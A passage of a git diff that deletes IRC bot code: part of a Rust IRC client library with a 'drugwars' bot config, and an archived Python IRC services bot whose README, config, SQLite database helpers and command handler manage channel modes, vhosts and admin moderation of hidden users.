-            Stream::Tls(stream) => stream.write(buf),
-        }
-    }
-}
-
-#[derive(Debug, Default)]
-pub struct IrcPrefix<'a> {
-    pub nick: &'a str,
-    pub user: Option<&'a str>,
-    pub host: Option<&'a str>,
-}
-
-impl<'a> From<&'a str> for IrcPrefix<'a> {
-    fn from(prefix_str: &'a str) -> Self {
-        let prefix_str = &prefix_str[1..];
-
-        let nick_split: Vec<&str> = prefix_str.split('!').collect();
-        let nick = nick_split[0];
-
-        // we only have a nick
-        if nick_split.len() == 1 {
-            return Self {
-                nick,
-                ..Default::default()
-            };
-        }
-
-        let user_split: Vec<&str> = nick_split[1].split('@').collect();
-        let user = user_split[0];
-
-        // we don't have an host
-        if user_split.len() == 1 {
-            return Self {
-                nick: nick,
-                user: Some(user),
-                ..Default::default()
-            };
-        }
-
-        Self {
-            nick: nick,
-            user: Some(user),
-            host: Some(user_split[1]),
-        }
-    }
-}
-
-pub struct IrcMessage<'a> {
-    prefix: Option<IrcPrefix<'a>>,
-    command: IrcCommand,
-    parameters: Vec<&'a str>,
-}
-
-impl<'a> From<&'a str> for IrcMessage<'a> {
-    fn from(line: &'a str) -> Self {
-        let mut elements = line.split_whitespace();
-
-        let tmp = elements.next().unwrap();
-
-        if tmp.chars().next().unwrap() == ':' {
-            return Self {
-                prefix: Some(tmp.into()),
-                command: elements.next().unwrap().into(),
-                parameters: elements.collect(),
-            };
-        }
-
-        Self {
-            prefix: None,
-            command: tmp.into(),
-            parameters: elements.collect(),
-        }
-    }
-}
-
-#[derive(Clone)]
-pub struct Channel {
-    name: String,
-    key: Option<String>,
-}
-
-impl From<ChannelConfig> for Channel {
-    fn from(channel_config: ChannelConfig) -> Self {
-        Self {
-            name: channel_config.name,
-            key: channel_config.key,
-        }
-    }
-}
-
-pub struct Irc {
-    stream: Option<Stream>,
-    host: String,
-    port: u16,
-    ssl: bool,
-
-    channels: Vec<Channel>,
-
-    nick: String,
-    user: String,
-    real: String,
-
-    cmdkey: String,
-
-    data: TypeMap,
-
-    default_system: Option<System>,
-    systems: HashMap<String, System>,
-
-    send_queue: VecDeque<String>,
-    recv_queue: VecDeque<String>,
-
-    partial_line: String,
-}
-
-impl Irc {
-    pub fn from_config(config_path: &str) -> IrcBuilder {
-        let config = IrcConfig::from_file(config_path).unwrap();
-        config.into()
-    }
-
-    pub fn new() -> IrcBuilder {
-        IrcBuilder::new()
-    }
-
-    pub fn data(&self) -> &TypeMap {
-        &self.data
-    }
-
-    pub fn data_mut(&mut self) -> &mut TypeMap {
-        &mut self.data
-    }
-
-    pub fn connect(&mut self) -> Result<(), Box<dyn Error>> {
-        let domain = format!("{}:{}", self.host, self.port);
-
-        let mut addrs = domain
-            .to_socket_addrs()
-            .expect("Unable to get addrs from domain {domain}");
-
-        let sock = addrs
-            .next()
-            .expect("Unable to get ip from addrs: {addrs:?}");
-
-        let stream = TcpStream::connect(sock)?;
-        stream.set_nonblocking(true)?;
-
-        if self.ssl {
-            let connector = TlsConnector::new().unwrap();
-            let mut tls_stream = connector.connect(&self.host, stream);
-
-            while tls_stream.is_err() {
-                tls_stream = match tls_stream.err().unwrap() {
-                    native_tls::HandshakeError::Failure(f) => panic!("{f}"),
-                    native_tls::HandshakeError::WouldBlock(mid_handshake) => {
-                        mid_handshake.handshake()
-                    }
-                }
-            }
-
-            self.stream = Some(Stream::Tls(tls_stream.unwrap()));
-            return Ok(());
-        }
-
-        self.stream = Some(Stream::Plain(stream));
-        Ok(())
-    }
-
-    fn join(&mut self) {
-        for i in 0..self.channels.len() {
-            let channel = &self.channels[i];
-            if channel.key.is_some() {
-                self.queue(&format!(
-                    "JOIN {} {}",
-                    channel.name,
-                    channel.key.as_ref().unwrap()
-                ))
-            } else {
-                self.queue(&format!("JOIN {}", channel.name))
-            }
-        }
-    }
-
-    fn join_manual(&mut self, channel: &str, key: Option<&str>) {
-        if key.is_some() {
-            self.queue(&format!("JOIN {} {}", channel, key.unwrap()));
-        } else {
-            self.queue(&format!("JOIN {}", channel));
-        }
-    }
-
-    pub fn register(&mut self) {
-        self.queue(&format!("USER {} 0 * {}", self.user, self.real));
-        self.queue(&format!("NICK {}", self.nick));
-    }
-
-    pub fn run(&mut self) {
-        // main loop!
-        loop {
-            self.recv().unwrap();
-            self.send().unwrap();
-            self.handle_commands();
-
-            std::thread::sleep(Duration::from_millis(50));
-        }
-    }
-
-    pub fn update(&mut self) {
-        self.recv().unwrap();
-        self.send().unwrap();
-        self.handle_commands();
-    }
-
-    fn recv(&mut self) -> Result<(), Box<dyn Error>> {
-        let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
-
-        let mut lines = VecDeque::new();
-
-        loop {
-            let mut buf = [0; MAX_MSG_LEN];
-
-            let bytes_read = match stream.read(&mut buf) {
-                Ok(bytes_read) => bytes_read,
-                Err(err) => match err.kind() {
-                    ErrorKind::WouldBlock => {
-                        self.recv_queue.append(&mut lines);
-                        return Ok(());
-                    }
-                    _ => panic!("{:?}", err),
-                },
-            };
-
-            if bytes_read == 0 {
-                break;
-            }
-
-            let buf = &buf[..bytes_read];
-
-            let mut str_buf = self.partial_line.clone();
-            str_buf += String::from_utf8_lossy(buf).into_owned().as_str();
-            let new_lines: Vec<&str> = str_buf.split("\r\n").collect();
-            let len = new_lines.len();
-
-            for (index, line) in new_lines.into_iter().enumerate() {
-                if index == len - 1 {
-                    self.partial_line = line.to_owned();
-                    break;
-                }
-                lines.push_back(line.to_owned());
-            }
-        }
-        Ok(())
-    }
-
-    fn send(&mut self) -> Result<(), Box<dyn Error>> {
-        let Some(stream) = &mut self.stream else { panic!("stream gwan boom."); };
-
-        while self.send_queue.len() > 0 {
-            let msg = self.send_queue.pop_front().unwrap();
-
-            let bytes_written = match stream.write(msg.as_bytes()) {
-                Ok(bytes_written) => bytes_written,
-                Err(err) => match err.kind() {
-                    ErrorKind::WouldBlock => {
-                        println!("would block send.");
-                        return Ok(());
-                    }
-                    _ => panic!("{err}"),
-                },
-            };
-
-            if bytes_written < msg.len() {
-                self.send_queue.push_front(msg[bytes_written..].to_owned());
-            }
-        }
-
-        Ok(())
-    }
-
-    fn handle_commands(&mut self) {
-        while self.recv_queue.len() != 0 {
-            let owned_line = self.recv_queue.pop_front().unwrap();
-            let line = owned_line.as_str();
-
-            println!("<< {:?}", line);
-
-            let message: IrcMessage = line.into();
-
-            self.handle_message(&message);
-        }
-    }
-
-    fn handle_message(&mut self, message: &IrcMessage) {
-        match message.command {
-            IrcCommand::PING => self.event_ping(&message.parameters[0]),
-            IrcCommand::RPL_WELCOME => self.event_welcome(),
-            IrcCommand::ERR_NICKNAMEINUSE => self.update_nick(&format!("{}_", &self.nick)),
-            IrcCommand::KICK => self.event_kick(
-                message.parameters[0],
-                message.parameters[1],
-                &message.parameters[3..].join(" "),
-            ),
-            IrcCommand::QUIT => self.event_quit(message.prefix.as_ref().unwrap()),
-            IrcCommand::INVITE => self.event_invite(
-                message.prefix.as_ref().unwrap(),
-                &message.parameters[0][1..],
-            ),
-            IrcCommand::PRIVMSG => self.event_privmsg(
-                message.prefix.as_ref().unwrap(),
-                &message.parameters[0],
-                &message.parameters[1..].join(" ")[1..],
-            ),
-            IrcCommand::JOIN => self.event_join(
-                message.prefix.as_ref().unwrap(),
-                &message.parameters[0][1..],
-            ),
-            _ => {}
-        }
-    }
-
-    fn queue(&mut self, msg: &str) {
-        let mut msg = msg.replace("\r", "").replace("\n", "");
-
-        if msg.len() > MAX_MSG_LEN - "\r\n".len() {
-            let mut i = 0;
-
-            while i < msg.len() {
-                let max = (MAX_MSG_LEN - "\r\n".len()).min(msg[i..].len());
-
-                let mut m = msg[i..(i + max)].to_owned();
-                println!(">> {:?}", m);
-                m = m + "\r\n";
-                self.send_queue.push_back(m);
-                i += MAX_MSG_LEN - "\r\n".len()
-            }
-        } else {
-            println!(">> {:?}", msg);
-            msg = msg + "\r\n";
-            self.send_queue.push_back(msg);
-        }
-    }
-
-    fn event_ping(&mut self, ping_token: &str) {
-        self.queue(&format!("PONG {}", ping_token));
-    }
-
-    fn event_welcome(&mut self) {
-        self.join();
-    }
-
-    fn update_nick(&mut self, new_nick: &str) {
-        self.nick = new_nick.to_owned();
-        self.queue(&format!("NICK {}", self.nick));
-    }
-
-    fn event_kick(&mut self, channel: &str, nick: &str, message: &str) {
-        if nick != &self.nick {
-            return;
-        }
-
-        println!("we got kicked!");
-        println!("{message}");
-
-        //TODO: fix this in case a key is needed.
-        self.join_manual(channel, None);
-    }
-
-    fn event_quit(&mut self, prefix: &IrcPrefix) {
-        if prefix.nick != self.nick {
-            return;
-        }
-
-        println!("need to reconnect.");
-        std::thread::sleep(Duration::from_secs(15));
-        self.connect().unwrap();
-        self.register();
-    }
-
-    fn event_invite(&mut self, prefix: &IrcPrefix, channel: &str) {
-        println!("{} invited us to {}", prefix.nick, channel);
-    }
-
-    fn execute_default(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
-        let Some(default_func) = self.default_system else { return; };
-
-        let mut elements = message.split_whitespace();
-        elements.next();
-
-        let Some(output) = default_func(self, prefix, elements.collect()) else {
-            return;
-        };
-
-        for line in output {
-            self.privmsg(channel, &line);
-        }
-    }
-
-    fn event_privmsg(&mut self, prefix: &IrcPrefix, channel: &str, message: &str) {
-        if message.starts_with(&self.cmdkey) {
-            let mut elements = message.split_whitespace();
-            let sys_name = &elements.next().unwrap()[1..];
-
-            let Some(func) = self.systems.get(sys_name) else { 
-                self.execute_default(prefix, channel, message);
-                return; 
-            };
-
-            let Some(output) = func(self, prefix, elements.collect()) else {
-                return;
-            };
-
-            for line in output {
-                self.privmsg(channel, &line);
-            }
-        }
-    }
-
-    fn event_join(&mut self, prefix: &IrcPrefix, _channel: &str) {
-        if prefix.nick != self.nick {
-            return;
-        }
-    }
-
-    pub fn privmsg(&mut self, channel: &str, message: &str) {
-        self.queue(&format!("PRIVMSG {} :{}", channel, message));
-    }
-
-    pub fn privmsg_all(&mut self, message: &str) {
-        for i in 0..self.channels.len() {
-            let channel = &self.channels[i];
-            self.queue(&format!("PRIVMSG {} :{}", channel.name, message));
-        }
-    }
-}
diff --git a/irc/bots/drugwars/irc_config.yaml b/irc/bots/drugwars/irc_config.yaml
@@ -1,12 +0,0 @@
-host: localhost
-port: 6697
-ssl: true
-
-channels:
-    - name: "#drugwars"
-
-nick: abc
-user: manhello
-real: manhello
-
-cmdkey: .
-\ No newline at end of file
diff --git a/irc/bots/ircs/README.md b/irc/bots/ircs/README.md
@@ -1,42 +0,0 @@
-###### Information
-This project is no longer being maintained & is made available for historical purposes only.
-
-The IRCS project is basically a stripped down version of [Anope](https://www.anope.org/)'s bots all crammed into one & was developed for usage with [UnrealIRCd](https://www.unrealircd.org/) 4.
-
-###### Setup
-You will get the lowest ping having the bot connect to localhost on the same box as the IRCd is running.
-
-The bot *will* require network operator privledges in order to work, so make sure you add that into your IRCd configuration.
-
-Edit [`config.py`](https://github.com/acidvegas/ircs/blob/master/ircs/core/config.py) and change the `oper_passwd` and the `admin_host` settings.
-
-###### Commands
-| Mode Command | Description | Restriction |
-| --- | --- | --- |
-| !mode \<chan> | Read all the auto-mode hosts for \<channel>. | *+q only* |
-| !mode \<chan> \<mode> | Read all the \<mode> auto-mode hosts for \<channel>. | *+q only* |
-| !mode \<chan> \<mode> +\<ident> | Automatically +\<mode> a user matching \<ident>. | *+q only* |
-| !mode \<chan> \<mode> -\<ident> | Remove automatic +\<mode> from a user matching \<ident>. | *+q only* |
-| !sync \<chan> | Set all the channels stored in the database for \<channel>. | *+q only* |
-
-| Vhost Command | Description | Restriction |
-| --- | --- | --- |
-| !vhost add \<ident> \<vhost> | Change the host of \<ident> to \<vhost> on connect. | *admin only*|
-| !vhost drop \<ident> | Delete the VHOST registered to \<ident>. | *admin only* |
-| !vhost list | Return a list of all activated VHOSTs. | *admin only* |
-| !vhost on | Turn on your VHOST. | *vhost users only* |
-| !vhost off | Turn off your VHOST. | *vhost users only*|
-| !vhost sync | Change your current hostmask to your VHOST. | *vhost users only* |
-
-| Admin Command | Description | Restriction |
-| --- | --- | --- |
-| !husers | List all users connected but not joined to any channel(s). | *admin only* |
-| !husers join \<channel> | Force join all hidden users into \<channe>. | *admin only* |
-| !husers kill | Kill the connection of all hidden users. | *admin only* |
-| !husers gline | G:Line the connection of all hidden users. | *admin only* |
-| !husers gzline | GZ:Line the connection of all hidden users. | *admin only* |
-
-###### Mirrors
-- [acid.vegas](https://acid.vegas/random) *(main)*
-- [GitHub](https://github.com/acidvegas/random)
-- [GitLab](https://gitlab.com/acidvegas/random)
diff --git a/irc/bots/ircs/ircs/core/config.py b/irc/bots/ircs/ircs/core/config.py
@@ -1,20 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# config.py
-
-# Connection
-server   = 'localhost'
-port     = 6667
-use_ipv6 = False
-use_ssl  = False
-vhost    = None
-password = None
-
-# Identity
-nickname    = 'IRCS'
-username    = 'ircs'
-realname    = 'IRC Services Bot'
-
-# Admin
-admin_host  = 'CHANGEME'
-oper_passwd = 'CHANGEME'
diff --git a/irc/bots/ircs/ircs/core/debug.py b/irc/bots/ircs/ircs/core/debug.py
@@ -1,70 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# debug.py
-
-import ctypes
-import os
-import sys
-import time
-import string
-
-def check_data(data):
-    if all(c in string.printable for c in data):
-        return True
-    else:
-        return False
-
-def check_privileges():
-    if check_windows():
-        if ctypes.windll.shell32.IsUserAnAdmin() != 0:
-            return True
-        else:
-            return False
-    else:
-        if os.getuid() == 0 or os.geteuid() == 0:
-            return True
-        else:
-            return False
-
-def check_version(major):
-    if sys.version_info.major == major:
-        return True
-    else:
-        return False
-
-def check_windows():
-    if os.name == 'nt':
-        return True
-    else:
-        return False
-
-def clear():
-    if check_windows():
-        os.system('cls')
-    else:
-        os.system('clear')
-
-def error(msg, reason=None):
-    if reason:
-        print('{0} | [!] - {1} ({2})'.format(get_time(), msg, str(reason)))
-    else:
-        print('{0} | [!] - {1}'.format(get_time(), msg))
-
-def error_exit(msg):
-    raise SystemExit('{0} | [!] - {1}'.format(get_time(), msg))
-
-def get_time():
-    return time.strftime('%I:%M:%S')
-
-def info():
-    clear()
-    print(''.rjust(56, '#'))
-    print('#{0}#'.format(''.center(54)))
-    print('#{0}#'.format('IRC Services (IRCS)'.center(54)))
-    print('#{0}#'.format('Developed by acidvegas in Python'.center(54)))
-    print('#{0}#'.format('https://acid.vegas/ircs'.center(54)))
-    print('#{0}#'.format(''.center(54)))
-    print(''.rjust(56, '#'))
-
-def irc(msg):
-    print('{0} | [~] - {1}'.format(get_time(), msg))
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/core/functions.py b/irc/bots/ircs/ircs/core/functions.py
@@ -1,113 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# functions.py
-
-import inspect
-import os
-import sqlite3
-import string
-
-# Database
-database_dir  = os.path.join(os.path.dirname(os.path.realpath(inspect.stack()[-1][1])), 'data')
-database_file = os.path.join(database_dir, 'ircs.db')
-
-# Globals
-db  = sqlite3.connect(database_file)
-sql = db.cursor()
-
-class Database:
-    def check():
-        tables = sql.execute('SELECT name FROM sqlite_master WHERE type=\'table\'').fetchall()
-        if len(tables):
-            return True
-        else:
-            return False
-
-    def create():
-        sql.execute('CREATE TABLE CHANSERV (CHANNEL TEXT NOT NULL, IDENT TEXT NOT NULL, MODE TEXT NOT NULL);')
-        sql.execute('CREATE TABLE HOSTSERV (IDENT TEXT NOT NULL, VHOST TEXT NOT NULL, STATUS TEXT NOT NULL);')
-        db.commit()
-
-
-
-class ChanServ:
-    def add_mode(chan, ident, mode):
-        sql.execute('INSERT INTO CHANSERV (CHANNEL,IDENT,MODE) VALUES (?, ?, ?)', (chan, ident, mode))
-        db.commit()
-
-    def channels():
-        return set(list(item[0] for item in sql.execute('SELECT CHANNEL FROM CHANSERV ORDER BY CHANNEL ASC').fetchall()))
-
-    def del_mode(chan, ident):
-        sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident))
-        db.commit()
-
-    def drop(chan):
-        sql.execute('DELETE FROM CHANSERV WHERE CHANNEL=?', (chan,))
-        db.commit()
-
-    def get_mode(chan, ident):
-        data = sql.execute('SELECT MODE FROM CHANSERV WHERE CHANNEL=? AND IDENT=?', (chan, ident)).fetchone()
-        if data:
-            return data[0]
-        else:
-            return None
-
-    def hosts():
-        return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
-
-    def idents(chan, mode=None):
-        if mode:
-            return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=?', (channel, mode)).fetchall())
-        else:
-            return list(item[0] for item in sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=?', (channel,)).fetchall())
-
-    def read(channel, mode=None):
-        if mode:
-            return sql.execute('SELECT IDENT FROM CHANSERV WHERE CHANNEL=? AND MODE=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel, mode)).fetchall()
-        else:
-            return sql.execute('SELECT IDENT,MODE FROM CHANSERV WHERE CHANNEL=? ORDER BY CHANNEL ASC, MODE ASC, IDENT ASC', (channel,)).fetchall()
-
-
-
-class HostServ:
-    def add(ident, vhost):
-        sql.execute('INSERT INTO HOSTSERV (IDENT,VHOST,STATUS) VALUES (?, ?, \'pending\')', (ident, vhost))
-        db.commit()
-
-    def delete(ident):
-        sql.execute('DELETE FROM HOSTSERV WHERE IDENT=?', (ident,))
-        db.commit()
-
-    def get_vhost(ident, active=False):
-        data = sql.execute('SELECT VHOST FROM HOSTSERV WHERE IDENT=? AND STATUS=\'on\'', (ident,)).fetchone()
-        if data:
-            return data[0]
-        else:
-            return None
-
-    def get_status(ident):
-        data =  sql.execute('SELECT STATUS FROM HOSTSERV WHERE IDENT=?', (ident,)).fetchone()
-        if data:
-            return data[0]
-        else:
-            return None
-
-    def hosts():
-        return set(list(item[0].split('@')[1] for item in sql.execute('SELECT IDENT FROM CHANSERV', (channel,)).fetchall()))
-
-    def idents():
-        return list(item[0] for item in sql.execute('SELECT IDENT FROM HOSTSERV').fetchall())
-
-    def pending():
-        return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV WHERE STATUS=\'pending\' ORDER BY IDENT ASC').fetchall()
-
-    def read():
-        return sql.execute('SELECT IDENT,VHOST FROM HOSTSERV ORDER BY IDENT ASC').fetchall()
-
-    def set_status(ident, status):
-        sql.execute('UPDATE HOSTSERV SET STATUS=? WHERE IDENT=?', (status, ident))
-        db.commit()
-
-    def vhosts():
-        return list(item[0] for item in sql.execute('SELECT VHOST FROM HOSTSERV').fetchall())
-\ No newline at end of file
diff --git a/irc/bots/ircs/ircs/core/irc.py b/irc/bots/ircs/ircs/core/irc.py
@@ -1,433 +0,0 @@
-#!/usr/bin/env python
-# IRC Services (IRCS) - Developed by acidvegas in Python (https://acid.vegas/ircs)
-# irc.py
-
-import socket
-import ssl
-import time
-
-import config
-import debug
-from functions import Database, ChanServ, HostServ
-
-# Formatting Control Characters / Color Codes
-bold        = '\x02'
-italic      = '\x1D'
-underline   = '\x1F'
-reverse     = '\x16'
-reset       = '\x0f'
-white       = '00'
-black       = '01'
-blue        = '02'
-green       = '03'
-red         = '04'
-brown       = '05'
-purple      = '06'
-orange      = '07'
-yellow      = '08'
-light_green = '09'
-cyan        = '10'
-light_cyan  = '11'
-light_blue  = '12'
-pink        = '13'
-grey        = '14'
-light_grey  = '15'
-
-class IRC(object):
-    server       = config.server
-    port         = config.port
-    use_ipv6     = config.use_ipv6
-    use_ssl      = config.use_ssl
-    vhost        = config.vhost
-    password     = config.password
-    nickname     = config.nickname
-    username     = config.username
-    realname     = config.realname
-    oper_passwd  = config.oper_passwd
-    admin_host   = config.admin_host
-
-    def __init__(self):
-        self.husers = list()
-        self.last   = dict()
-        self.sock   = None
-
-    def action(self, chan, msg):
-        self.sendmsg(chan, '\x01ACTION {0}\x01'.format(msg))
-
-    def chghost(self, nick, host):
-        self.raw('CHGHOST {0} {1}'.format(nick, host))
-
-    def color(self, msg, foreground, background=None):
-        if background:
-            return '\x03{0},{1}{2}{3}'.format(foreground, background, msg, reset)
-        else:
-            return '\x03{0}{1}{2}'.format(foreground, msg, reset)
-
-    def connect(self):
-        try:
-            self.create_socket()
-            self.sock.connect((self.server, self.port))
-            if self.password:
-                self.raw('PASS ' + self.password)
-            self.raw('USER {0} 0 * :{1}'.format(self.username, self.realname))
-            self.raw('NICK ' + self.nickname)
-        except socket.error as ex:
-            debug.error('Failed to connect to IRC server.', ex)
-            self.event_disconnect()
-        else:
-            self.listen()
-
-    def create_socket(self):
-        if self.use_ipv6:
-            self.sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
-        else:
-            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        if self.vhost:
-            self.sock.bind((self.vhost, 0))
-        if self.use_ssl:
-            self.sock = ssl.wrap_socket(self.sock)
-
-    def error(self, target, msg, reason=None):
-        if reason:
-            self.sendmsg(target, '[{0}] {1} {2}'.format(self.color('ERROR', red), msg, self.color('({0})'.format(str(reason)), grey)))
-        else:
-            self.sendmsg(target, '[{0}] {1}'.format(self.color('ERROR', red), msg))
-
-    def event_connect(self):
-        self.mode(self.nickname, '+Bd')
-        self.oper(self.username, self.oper_passwd)
-        if Database.check():
-            for channel in ChanServ.channels():
-                self.join(channel)
-        else:
-            Database.create()
-
-    def event_connection(self, nick, ident):
-        vhost = HostServ.get_vhost(ident, True)
-        if vhost:
-            self.chghost(nick, vhost)
-
-    def event_disconnect(self):
-        self.sock.close()
-        time.sleep(10)
-        self.connect()
-
-    def event_end_of_who(self):
-        if self.last['cmd'] == 'husers':
-            if self.husers:
-                self.sendmsg(self.last['nick'], '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(self.husers), grey)))
-            else:
-                self.error(self.last['nick'], 'No hidden users found.')
-
-    def event_join(self, nick, ident, chan):
-        mode = ChanServ.get_mode(chan, ident)
-        if mode:
-            self.mode(chan, '+{0} {1}'.format(mode, nick))
-
-    def event_kick(self, chan, kicked):
-        if kicked == self.nickname:
-            if chan in Database.channels():
-                self.join(chan)
-
-    def event_nick_in_use(self):
-        debug.error_exit('IRCS is already running.')
-
-    def event_notice(self, nick, data):
-        if '.' in nick or nick == self.server:
-            args = data.split()
-            if 'Client connecting' in data:
-                nick  = args[6]
-                ident = args[7][1:][:-1]
-                self.event_connection(nick, ident)
-
-    def event_private(self, nick, ident, msg):
-        try:
-            args = msg.split()
-            cmd  = args[0][1:]
-            host = ident.split('@')[1]
-            if cmd == 'husers' and host == self.admin_host:
-                if len(args) == 1:
-                    self.husers = list()
-                    self.last   = {'nick':nick,'cmd':'husers'}
-                    self.who('I', '*')
-                elif len(args) == 2:
-                    if args[1] == 'kill':
-                        if self.husers:
-                            self.action(nick, 'Killing all hidden users...')
-                            for item in self.husers:
-                                self.kill(item['nick'], 'Killed by IRCS anti-bot protection.')
-                        else:
-                            self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
-                    elif args[1] == 'gzline':
-                        if self.husers:
-                            self.action(nick, 'Z:Lining all hidden users...')
-                            for item in self.husers:
-                                self.gzline(item['host'], '1d', 'Banned by IRCS anti-bot protection.')
-                        else:
-                            self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
-                elif len(args) == 3:
-                    if args [1] == 'join':
-                        channel = args[2]
-                        if channel.startswith('#') and len(channel) <= 20:
-                            if self.husers:
-                                self.action(nick, 'Joining all hidden users to {0}...'.format(channel))
-                                for item in self.husers:
-                                    self.sajoin(item['nick'], channel)
-                            else:
-                                self.error(nick, 'Hidden users list is empty.', 'Make sure you run !husers first')
-                        else:
-                            self.error(nick, 'Invalid arguments.')
-                    else:
-                        self.error(nick, 'Invalid arguments.')
-                else:
-                    self.error(nick, 'Invalid arguments.')
-            elif cmd == 'mode':
-                if len(args) > 1:
-                    channel = args[1]
-                    if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
-                        if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
-                            if len(args) == 2:
-                                if channel in ChanServ.channels():
-                                    data = ChanServ.read(channel)
-                                    self.sendmsg(nick, '[{0}]'.format(self.color(channel, purple)))
-                                    for row in data:
-                                        self.sendmsg(nick, '{0} | {1}'.format(self.color('+' + row[1], grey), self.color(row[0], yellow)))
-                                    self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
-                                else:
-                                    self.error(nick, self.color(channel, purple) + ' does not exist.')
-                            elif len(args) == 3:
-                                if args[2] in ('a','h','o','v','q'):
-                                    if channel in ChanServ.channels():
-                                        mode = args[2]
-                                        data = ChanServ.read(channel, mode)
-                                        if data:
-                                            self.sendmsg(nick, '[{0}] {1}'.format(self.color(channel, purple) , self.color('(+{0})'.format(mode), grey)))
-                                            for row in data:
-                                                self.sendmsg(nick, self.color(row[0], yellow))
-                                            self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(data), grey)))
-                                        else:
-                                            self.error(nick, self.color('+{0}'.format(mode), grey) + ' is empty.')
-                                    else:
-                                        self.error(nick, self.color(channel, purple) + ' does not exist.')
-                                else:
-                                    self.error(nick, 'Invalid arguments.')
-                            elif len(args) == 4:
-                                if args[2] in ('a','h','o','v','q') and args[3][:1] in '+-' and len(args[3]) <= 63 and debug.check_data(args[3]):
-                                    mode = args[2]
-                                    if mode == 'q' and host != self.admin_host:
-                                        self.error(nick, 'You do not have permission to change this mode.')
-                                    else:
-                                        action = args[3][:1]
-                                        ident  = args[3][1:]
-                                        if action == '+':
-                                            if not ChanServ.get_mode(channel, ident):
-                                                ChanServ.add_mode(channel, ident, mode)
-                                                self.sendmsg(nick, '{0} {1} has been {2} to the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('added', green), self.color(channel, purple)))
-                                            else:
-                                                self.error(nick, '{0} already exists in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
-                                        elif action == '-':
-                                            if ChanServ.get_mode(channel, ident):
-                                                ChanServ.del_mode(channel, ident)
-                                                self.sendmsg(nick, '{0} {1} has been {2} from the {3} database.'.format(self.color(ident, light_blue), self.color('(+{0})'.format(mode), grey), self.color('removed', red), self.color(channel, purple)))
-                                            else:
-                                                self.error(nick, '{0} does not exist in the {1} database.'.format(self.color(ident, light_blue), self.color(channel, purple)))
-                                else:
-                                    self.error(nick, 'Invalid arguments.')
-                            else:
-                                self.error(nick, 'Invalid arguments.')
-                        else:
-                            self.error(nick, 'You do not have permission to use this command.')
-                    else:
-                        self.error(nick, 'Invalid arguments.')
-                else:
-                    self.error(nick, 'Invalid arguments.')
-            elif cmd == 'sync':
-                if len(args) == 2:
-                    channel = args[1]
-                    if channel[:1] == '#' and len(channel) <= 20 and debug.check_data(channel):
-                        if channel in ChanServ.channels():
-                            if ChanServ.get_mode(channel, ident) == 'q' or host == self.admin_host:
-                                self.action(nick, 'Syncing all modes in {0}...'.format(color(channel, purple)))
-                                self.last['cmd'] = 'sync ' + channel
-                                self.who('h', '*')
-                            else:
-                                self.error(nick, 'You do not have permission to use this command.')
-                        else:
-                            self.error(nick, '{0} does not exist.'.format(color(channel, purple)))
-                    else:
-                        self.error(nick, 'Invalid arguments.')
-                else:
-                    self.error(nick, 'Invalid arguments.')
-            elif cmd == 'vhost':
-                if len(args) == 2:
-                    if args[1] == 'list':
-                        if host == self.admin_host:
-                            vhosts = HostServ.read()
-                            if vhosts:
-                                self.sendmsg(nick, '[{0}]'.format(self.color('Registered Vhosts', purple)))
-                                for vhost in vhosts:
-                                    self.sendmsg(nick, '{0} {1}'.format(self.color(vhost[0], yellow), self.color('({0})'.format(vhost[1]), grey)))
-                                self.sendmsg(nick, '{0} {1}'.format(self.color('Total:', light_blue), self.color(len(vhosts), grey)))
-                            else:
-                                self.error(nick, 'Vhost list is empty.')
-                        else:
-                            self.error(nick, 'You do not have permission to use this command.')
-                    elif args[1] == 'off':
-                        status = HostServ.get_status(ident)
-                        if status == 'off':
-                            self.error(nick, 'VHOST is already turned off.')
-                        elif status == 'on':
-                            HostServ.set_status(ident, 'off')
-                            self.sendmsg(nick, 'VHOST has been turned ' + color('off', red))
-                        else:
-                            self.error(nick, 'You do not have a registered VHOST.')
-                    elif args[1] == 'on':
-                        status = HostServ.get_status(ident)
-                        if status == 'off':
-                            HostServ.set_status(ident, 'on')
-                            self.sendmsg(nick, 'VHOST has been turned ' + color('on', green))
-                        elif status == 'on':
-                            self.error(nick, 'Your VHOST is already turned on.')
-                        else:
-                            self.error(nick, 'You do not have a registered VHOST.')
-                    elif args[1] == 'sync':
-                        vhost = HostServ.get_vhost(ident)
-                        if host == vhost:
-                            self.error(nick, 'Your VHOST is already synced and working.')
-                        elif vhost:
-                            self.action(nick, 'Syncing VHOST...')
-                            self.chghost(nick, vhost)
-                        else:
-                            self.error(nick, 'You do not have a registered VHOST.')
-                elif len(args) == 3:
-                    if args[1] == 'drop':
-                        if host == self.admin_host:
-                            ident = args[2]
-                            if ident in HostServ.idents():
-                                HostServ.delete(ident)
-                                self.sendmsg(nick, '{0} has been {1} from the vhost database.'.format(self.color(ident, light_blue), self.color('removed', red)))
-                            else:
-                                self.error(nick, '{0} does not have a vhost.'.format(self.color(ident, light_blue)))
-                        else:
-                            self.error(nick, 'You do not have permission to use this command.')
-                elif len(args) == 4:
-                    if args[1] == 'add':
-                        if host == self.admin_host:
